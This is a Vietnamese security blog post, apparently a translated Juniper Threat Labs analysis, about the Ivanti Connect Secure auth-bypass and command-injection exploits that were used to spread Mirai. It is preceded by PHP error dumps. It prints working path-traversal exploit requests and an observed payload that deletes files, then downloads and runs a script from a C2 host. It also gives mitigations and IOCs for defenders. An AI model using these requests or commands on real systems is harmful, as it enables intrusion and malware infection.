A PHP Error was encountered

Severity: Warning

Message: fopen(/home/date6329/domains/datech.vn/public_html/ci_session/PHPSESSID73fd7daa9f00f64ca0bf1afdcb1eeba10e947a62): failed to open stream: Disk quota exceeded

Filename: drivers/Session_files_driver.php

Line Number: 176

Backtrace:

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 144
Function: _ci_load_library

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 160
Function: library

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 130
Function: libraries

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 61
Function: initialize

File: /home/date6329/domains/datech.vn/public_html/application/core/MY_Controller.php
Line: 0
Function: __construct

File: /home/date6329/domains/datech.vn/public_html/application/controllers/Vindex.php
Line: 0
Function: __construct

File: /home/date6329/domains/datech.vn/public_html/index.php
Line: 328
Function: require_once

A PHP Error was encountered

Severity: Warning

Message: session_start(): Failed to read session data: user (path: /home/date6329/domains/datech.vn/public_html/ci_session)

Filename: Session/Session.php

Line Number: 155

Backtrace:

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 144
Function: _ci_load_library

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 160
Function: library

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 130
Function: libraries

File: /home/date6329/domains/datech.vn/public_html/application/third_party/MX/Loader.php
Line: 61
Function: initialize

File: /home/date6329/domains/datech.vn/public_html/application/core/MY_Controller.php
Line: 0
Function: __construct

File: /home/date6329/domains/datech.vn/public_html/application/controllers/Vindex.php
Line: 0
Function: __construct

File: /home/date6329/domains/datech.vn/public_html/index.php
Line: 328
Function: require_once

Bảo vệ mạng trước việc lợi dụng lỗ hổng Ivanti Pulse Secure

Bảo vệ mạng trước việc lợi dụng lỗ hổng Ivanti Pulse Secure

Bảo vệ mạng trước việc lợi dụng lỗ hổng Ivanti Pulse Secure

Juniper Threat Labs đã theo dõi các nỗ lực khai thác nhắm vào lỗ hổng cho phép vượt qua xác thực (authentication bypass) kèm khả năng thực thi mã từ xa trên Ivanti Pulse Secure. Chúng tôi đã quan sát được các trường hợp trong tự nhiên (in-the-wild) sử dụng khai thác này để triển khai botnet Mirai. Khai thác cho phép tải xuống và thực thi mã độc, tạo nguy cơ lớn có thể làm xâm phạm toàn bộ mạng. Trong phần phân tích tiếp theo, chúng tôi sẽ khảo sát lỗ hổng, các phương thức khai thác, payload được quan sát và phản ứng của Juniper trước mối đe dọa này.

Ivanti đã công bố hai lỗ hổng: CVE-2023-46805 (Authentication Bypass) và CVE-2024-21887 (Command Injection), ảnh hưởng tới Ivanti Connect Secure và Ivanti Policy Secure Gateways.

Phân tích kỹ thuật:

CVE-2023-46805 – Một lỗ hổng bảo mật ảnh hưởng cả Ivanti ICS (Ivanti Connect Secure) và Ivanti Policy Secure, cho phép kẻ tấn công từ xa có được quyền truy cập trái phép vào các tài nguyên bị hạn chế bằng cách vượt qua các kiểm tra điều khiển.

Các phiên bản bị ảnh hưởng bao gồm 9.x và 22.x của Ivanti Connect Secure và Ivanti Policy Secure Gateways.

Lỗ hổng tồn tại tại endpoint /api/v1/totp/user-backup-code, nơi kẻ tấn công có thể lợi dụng lỗi path traversal. Vì endpoint này thiếu các kiểm tra an ninh đầy đủ, kẻ tấn công có thể truy cập các khu vực công khai mà không cần xác thực hợp lệ.

Khi kết hợp cả khai thác bypass xác thực và path traversal, kẻ tấn công có thể truy cập các tài nguyên nhạy cảm. Ví dụ yêu cầu khai thác:

GET /api/v1/totp/user-backup-code/../../system/system-information

CVE-2024-21887 – Một lỗ hổng command injection trong các thành phần web của Ivanti Connect Secure (9.x, 22.x) và Ivanti Policy Secure cho phép kẻ tấn công gửi các yêu cầu được chế tạo tinh vi để thực thi lệnh tùy ý trên appliance. Đáng chú ý, lỗ hổng này có thể bị khai thác qua Internet.

Lỗ hổng liên quan tới injection trong API gọi /api/v1/license/key-status/;. Kẻ tấn công khai thác CVE-2023-46805 để truy cập endpoint này và chèn payload. Cuộc tấn công sử dụng yêu cầu sau:

GET /api/v1/totp/user-backup-code/../../license/keys-status/{Any Command}

Tại chỗ của {Any Command}, kẻ tấn công thực thi các script nhằm triển khai nhiều loại malware khác nhau.

Các quan sát trong tự nhiên cho thấy kẻ tấn công đã khai thác lỗ hổng này bằng cả curl và reverse shell viết bằng Python, cho phép chiếm quyền điều khiển hệ thống dễ bị tổn thương. Gần đây, cũng có nhiều trường hợp payload Mirai được triển khai thông qua shell script.

Dưới đây là một ví dụ về yêu cầu quan sát được:

GET request đã được giải mã như sau (trong WordPress phần này sẽ nằm trong khối mã):

GET /api/v1/totp/user-backup-code/../../license/keys-status/rm -rf *; cd /tmp; wget http://192[.]3[.]152[.]183/wtf.sh; chmod 777 wtf.sh; ./wtf.sh HTTP/1.1

Chuỗi lệnh này cố gắng xóa file (rm -rf *), tải một script từ máy chủ từ xa, gán quyền thực thi cho file đó và chạy script - hành vi này có thể dẫn tới hệ thống bị nhiễm.

Nội dung của wtf.sh (trong WordPress, phần này nên nằm trong khối mã): Lưu ý rằng tên các file trong script chứa một số từ ngữ xúc phạm và miệt thị; các tên đó chỉ được trình bày vì mục đích nghiên cứu này.

Tập lệnh này cố gắng di chuyển qua nhiều thư mục hệ thống khác nhau ("/tmp", "/var/run", "/mnt", "/root", and "/"). Khi tìm được thư mục có thể truy cập, nó sẽ tải một tệp có tên “lol” từ một URL chỉ định (http://192[.]3[.]152[.]183/mips). Sau khi tải xuống, script cấp quyền thực thi cho tệp này và chạy nó với tham số "0day_machine". Việc sử dụng toán tử "||" đảm bảo rằng lệnh tiếp theo chỉ được thực thi nếu việc chuyển thư mục trước đó thất bại - nghĩa là script sẽ thực thi trong thư mục đầu tiên mà nó có quyền truy cập.

Juniper Threat Labs đã thu thập và phân tích các payload này và xác định chúng là botnet Mirai.

Kết luận và giải pháp giảm thiểu

Tần suất gia tăng của các cuộc tấn công lợi dụng lỗ hổng bypass xác thực và thực thi mã từ xa trên Ivanti Pulse Secure đang trở thành mối đe dọa nghiêm trọng đối với an ninh mạng. Việc phát hiện thấy Mirai được triển khai thông qua các lỗ hổng này cho thấy bức tranh mối đe dọa đang không ngừng phát triển. Khi Mirai đã được triển khai thành công, điều đó cũng đồng nghĩa rằng các loại malware hoặc ransomware khác hoàn toàn có thể sẽ tiếp tục được cài cắm thông qua cùng một cơ chế. Hiểu rõ cách thức các lỗ hổng này bị khai thác và nhận diện được các mối nguy cụ thể mà chúng mang lại là yếu tố then chốt để bảo vệ hệ thống trước các rủi ro tiềm tàng.

Giải pháp giảm thiểu bao gồm áp dụng ngay các bản vá do Ivanti cung cấp để khắc phục các lỗ hổng đã được xác định. Ngoài ra, Juniper ATP Cloud cung cấp khả năng bảo vệ chống lại Mirai và các loại malware khác, trong khi việc sử dụng chữ ký IDP (Intrusion Detection and Prevention) giúp ngăn chặn các cuộc tấn công khai thác ngay từ tầng mạng.

Phát hiện

Juniper ATP Cloud có khả năng phát hiện Mirai dựa trên phân tích tĩnh và hành vi sử dụng machine learning.

Khách hàng sử dụng Juniper Networks SRX Series Next-Generation Firewall (NGFW) kèm IDP license đã được bảo vệ trước các lỗ hổng này thông qua các chữ ký sau:

  • CVE-2023-46805 – HTTP:DIR:IVANTI-CT-AUTH-BYPASS

  • CVE-2024-21887 – HTTP:CTS:IVANTI-WEB-CMD-INJ

Chỉ báo xâm nhập (Indicators of Compromise)

Giá trị hash của Mirai:

F20da76d75c7966abcbc050dde259a2c85b331c80cce0d113bc976734b78d61d
d6f5fc248e4c8fc7a86a8193eb970fe9503f2766951a3e4b8c084684e423e917
8f0c5baaca3b81bdaf404de8e7dcca1e60b01505297d14d85fea36067c2a0f14
10686a12b7241a0836db6501a130ab67c7b38dbd583ccd39c9e655096695932e
5fcbe868a8c53b7146724d579ff82252f00d62049a75a04baa4476e300b42d15
a843971908aa31a81d96cc8383dcde7f386050c6e3437ad6a470f43dc2bf894b
cf1b85d4812f7ee052666276a184b481368f0c0c7a43e6d5df903535f466c5fd
575f0acd67df2620378fb5bd8379fd2f2ba0539b614986d60e85822ba0e9aa08
5d155f86425b02e45a6a5d62eb8ce7827c9c43f3025bffd6d996aabd039d27f9
1e6d93a27b0d7e97df5405650986e32641696967c07df3fa8edd41063b49507b
b9d92f637996e981006173eb207734301ff69ded8f9c2a7f0c9b6d5fcc9063a2
038187ceb4df706b13967d2a4bff9f67256ba9615c43196f307145a01729b3b8
850d3521693b4e1ec79981b3232e87b0bc22af327300dfdc7ea1b7a7e97619cd
b0bc9a42a874cab6583e4993de7cc11a2b8343a4453bda97b83b0c2975e7181d
3d19de117388d50e5685d203683c2045881a92646c69ee6d4b99a71bf65dafa7
4e2c5513cf1c4a3c12c6e108d0120d57355b3411c30d59dfb0d263ad932b6868 

53f6cedcf89fccdcb6b4b9c7c756f73be3e027645548ee7370fd3486840099c4
67d989388b188a817a4d006503e5350a1a2af7eb64006ec6ad6acc51e29fdcd5
9b5fe87aaa4f7ae1c375276bfe36bc862a150478db37450858bbfb3fb81123c2
3e785100c227af58767f253e4dfe937b2aa755c363a1497099b63e3079209800
5b20ed646362a2c6cdc5ca0a79850c7d816248c7fd5f5203ce598a4acd509f6b
c27b64277c3d14b4c78f42ca9ee2438b602416f988f06cb1a3e026eab2425ffc 

C&C: 
192[.]3[.]152[.]183

Ivanti Connect/Policy Secure bị khai thác qua chuỗi CVE-2023-46805 (bypass xác thực) + CVE-2024-21887 (command injection), cho phép kẻ tấn công thực thi mã từ xa và triển khai payload (đã quan sát Mirai). Ưu tiên số một: vá ngay các thiết bị bị ảnh hưởng hoặc cách ly khỏi Internet. Bảo vệ bổ sung: giới hạn truy cập quản trị, bật MFA, cập nhật IDP/IPS signatures và rà soát các IOC (hash, request bất thường, tiến trình lạ). Hành động sớm sẽ ngăn chặn việc thiết bị trở thành bàn đạp lan rộng cho malware hoặc tấn công nội bộ.

Hẹn gặp lại bạn trong các bài viết tiếp theo!

CÔNG TY CỔ PHẦN DỊCH VỤ CÔNG NGHỆ DATECH

  • Địa chỉ: Số 23E4 KĐT Cầu Diễn, Tổ 7, Phú Diễn, Bắc Từ Liêm, Hà Nội

  • Điện thoại: 0243 201 2368

  • Hotline: 098 115 6699

  • Email: info@datech.vn

  • Website: https://datech.vn